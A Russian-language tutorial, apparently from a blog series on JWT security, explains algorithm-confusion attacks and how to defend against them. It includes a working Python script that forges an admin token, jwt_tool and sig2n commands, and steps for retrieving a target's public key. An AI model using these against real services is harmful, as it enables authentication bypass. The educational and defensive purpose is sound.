Содержание:

alg:none из прошлой статьи - грубая сила: “не проверяй подпись”. Algorithm confusion - элегантнее. Ты берешь публичный ключ сервера (он лежит в открытом доступе), подписываешь им свой токен - и сервер его принимает. Подпись есть. Подпись корректна. Но токен поддельный.

Это все тот же фундаментальный дефект, о котором я говорил в первой статье: токен диктует серверу алгоритм проверки.

Симметричные vs асимметричные алгоритмы

Прежде чем показать атаку, надо понять разницу между двумя типами алгоритмов, которые использует JWT.

HS256 (HMAC-SHA256) - симметричный алгоритм. Один и тот же секретный ключ используется и для создания подписи, и для ее проверки. Знаешь секрет - можешь подписать любой токен. Именно поэтому секрет должен быть надежным, и именно поэтому HMAC-токены можно брутфорсить (об этом в статье 7).

RS256 (RSA-SHA256) - асимметричный алгоритм. Два ключа: приватный подписывает, публичный проверяет. Приватный ключ знает только сервер. Публичный ключ - на то и публичный, его может видеть кто угодно. Знание публичного ключа не позволяет подделать подпись. По крайней мере, не должно позволять.

Ключевое отличие: в HS256 один ключ делает все, в RS256 ключи разделены по функциям. И вот здесь начинается проблема.

Как работает атака

Нормальный поток с RS256 выглядит так:

  1. Сервер подписывает JWT приватным RSA-ключом
  2. Для проверки используется публичный ключ
  3. Функция верификации: verify(token, public_key) с алгоритмом RS256

Теперь атака. Атакующий меняет alg в заголовке токена с RS256 на HS256. Подписывает токен, используя публичный ключ сервера как HMAC-секрет. Отправляет серверу.

Что видит уязвимый сервер? Он читает alg: HS256 из заголовка. Достает переменную key для верификации - а там лежит публичный RSA-ключ (потому что сервер настроен на RS256). И передает этот ключ в HMAC-функцию: HMAC-SHA256(token_data, public_key). Подписи совпадают, потому что атакующий подписал токен тем же самым публичным ключом.

НОРМАЛЬНО:
verify(token, RSA_public_key) + alg: RS256
= RSA-верификация публичным ключом. Ок.

АТАКА:
verify(token, RSA_public_key) + alg: HS256
= HMAC-верификация, public_key как секрет
= Атакующий тоже знает public_key
= Подписи совпадают. Токен принят!

Почему так происходит? Потому что многие библиотеки используют единую функцию verify(token, key) для всех алгоритмов. Переменная key служит и как RSA-публичный ключ, и как HMAC-секрет - в зависимости от alg из заголовка. Одна переменная, два совершенно разных назначения. Алгоритм выбирается токеном, а не сервером.

PoC

import hmac, hashlib, base64, json

def b64e(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Публичный ключ сервера (из JWKS, TLS, документации)
with open("pubkey.pem") as f:
    pub = f.read()

header = b64e(json.dumps(
    {"alg":"HS256","typ":"JWT"},
    separators=(',',':')).encode())
payload = b64e(json.dumps(
    {"sub":"admin","role":"superuser"},
    separators=(',',':')).encode())

sig_input = f"{header}.{payload}".encode()
sig = hmac.new(pub.encode(), sig_input,
               hashlib.sha256).digest()

print(f"{header}.{payload}.{b64e(sig)}")

Или через jwt_tool одной командой:

python3 jwt_tool.py "$TOKEN" -X k -pk pubkey.pem

Формат ключа - критически важная деталь

HMAC работает на уровне байтов. Если сервер загружает публичный ключ как PEM-строку с -----BEGIN PUBLIC KEY-----, переносами строк и финальным \n, то атакующий должен использовать точно ту же строку, байт в байт.

Частые причины, почему PoC не срабатывает:

  • PEM без финального \n (или с дополнительным)
  • DER-формат вместо PEM
  • Неправильный padding при конвертации из JWK в PEM
  • PKCS#1 формат (BEGIN RSA PUBLIC KEY) вместо PKCS#8 (BEGIN PUBLIC KEY)

jwt_tool автоматически пробует несколько форматов. При ручной эксплуатации стоит попробовать все варианты.

Где взять публичный ключ

Публичный ключ - на то и публичный, что обычно лежит в открытом доступе.

JWKS endpoint - стандартное место. Большинство IdP (Identity Provider) публикуют ключи на /.well-known/jwks.json:

curl -s https://target/.well-known/jwks.json | python3 -m json.tool

Ответ содержит массив ключей. Каждый ключ - JSON с параметрами n (модуль RSA, Base64url), e (экспонента, обычно AQAB = 65537), kid (идентификатор). Из n и e собирается PEM-файл. jwt_tool и другие инструменты умеют делать конвертацию автоматически.

OpenID Connect discovery. Многие серверы авторизации публикуют конфигурацию на /.well-known/openid-configuration, где есть поле jwks_uri со ссылкой на JWKS:

curl -s https://target/.well-known/openid-configuration | python3 -c "import json,sys;print(json.load(sys.stdin)['jwks_uri'])"

TLS-сертификат. Иногда JWT подписывают тем же ключом, что и TLS:

openssl s_client -connect target:443 2>/dev/null \
  | openssl x509 -pubkey -noout > pubkey.pem

Не всегда совпадает с JWT-ключом, но попробовать стоит - это бесплатная проверка.

Другие источники:

  • API-документация (Swagger/OpenAPI)
  • Мобильное приложение: декомпиляция APK, поиск PEM/JWK в ресурсах
  • Публичные репозитории на GitHub (разработчики коммитят ключи в код)
  • IdP endpoints: /oauth/certs, /oauth/keys

sig2n: когда публичный ключ недоступен

Бывает так: ключ нигде не опубликован, TLS-сертификат не совпадает, документации нет. Для таких случаев PortSwigger создал инструмент sig2n, который извлекает RSA-модуль из двух валидных токенов, подписанных одним ключом. sig2n работает только с RSA-алгоритмами (RS256/RS384/RS512). RSA-подпись - это возведение сообщения в степень по модулю n. Имея два токена с подписями, можно математически вычислить этот модуль через GCD (наибольший общий делитель). С ECDSA или HMAC этот трюк не работает - у ECDSA каждая подпись использует случайный nonce, а HMAC вообще не имеет алгебраической структуры для подобных вычислений..

Математика: если у нас есть два сообщения m1, m2 и их подписи s1, s2, то m1^e - s1 и m2^e - s2 оба делятся на n (модуль RSA). GCD (наибольший общий делитель) этих двух значений с высокой вероятностью дает сам n. Из n и стандартной экспоненты e = 65537 восстанавливается полный публичный ключ.

docker run --rm -it portswigger/sig2n "$JWT1" "$JWT2"

На выходе - один или несколько вариантов публичного ключа в PEM и подделанный JWT для каждого варианта. Проверяешь каждый на сервере, находишь рабочий.

Получить два токена обычно несложно. Зарегистрировал два аккаунта, залогинился - получил два JWT. Или взял два токена от одного аккаунта, полученных в разное время.

ES256 тоже уязвим

Algorithm confusion работает не только с RSA. Если сервер использует ES256 (ECDSA - еще один асимметричный алгоритм, который я подробнее разберу в статьях 8 и 9) и библиотека позволяет подмену на HS256, EC-публичный ключ тоже годится как HMAC-секрет.

CVE-2024-33663 (python-jose) - именно этот случай. Библиотека позволяла подменить ES256 на HS256 с EC-ключом. python-jose на момент написания этой серии заброшена (abandoned) с двумя открытыми CVE - если видишь ее в зависимостях проекта, это ред флаг.

python3 jwt_tool.py "$TOKEN" -X k -pk ec_pubkey.pem

CVE: одиннадцать лет одного бага

  • CVE-2015-9235 (jsonwebtoken, Node.js, CVSS 9.8) - первое раскрытие Тимом Маклином
  • CVE-2016-5431 (PHP JOSE Library)
  • CVE-2017-11424 (PyJWT)
  • CVE-2022-29217 (PyJWT - снова!)
  • CVE-2024-33663 (python-jose)
  • CVE-2026-22817 (Hono framework, CVSS 8.2) - 2026 год

Шесть CVE за одиннадцать лет. Одна и та же атака. Разные языки, разные библиотеки, один дефект: функция verify() принимает алгоритм из токена вместо серверной конфигурации.

Защита

Единственная надежная защита - пинить алгоритм на стороне сервера:

# Правильно: алгоритм задан сервером
jwt.decode(token, rsa_key, algorithms=["RS256"])

# Неправильно: алгоритм берется из токена
jwt.decode(token, key)

RFC 8725 Section 3.1 прямо говорит: “Each key MUST be used with exactly one algorithm.” Каждый ключ привязан к одному алгоритму. Раздельные кодовые пути для RSA и HMAC. Никакого доверия полю alg из заголовка.

Что дальше

В статьях 3 и 4 мы атаковали поле alg - поле, которое управляет выбором алгоритма. Но помнишь список параметров заголовка из второй статьи? kid, jku, jwk, x5u, x5c - каждый из них вектор атаки. В следующей статье - kid injection: SQL Injection, path traversal и command injection через параметр заголовка JWT.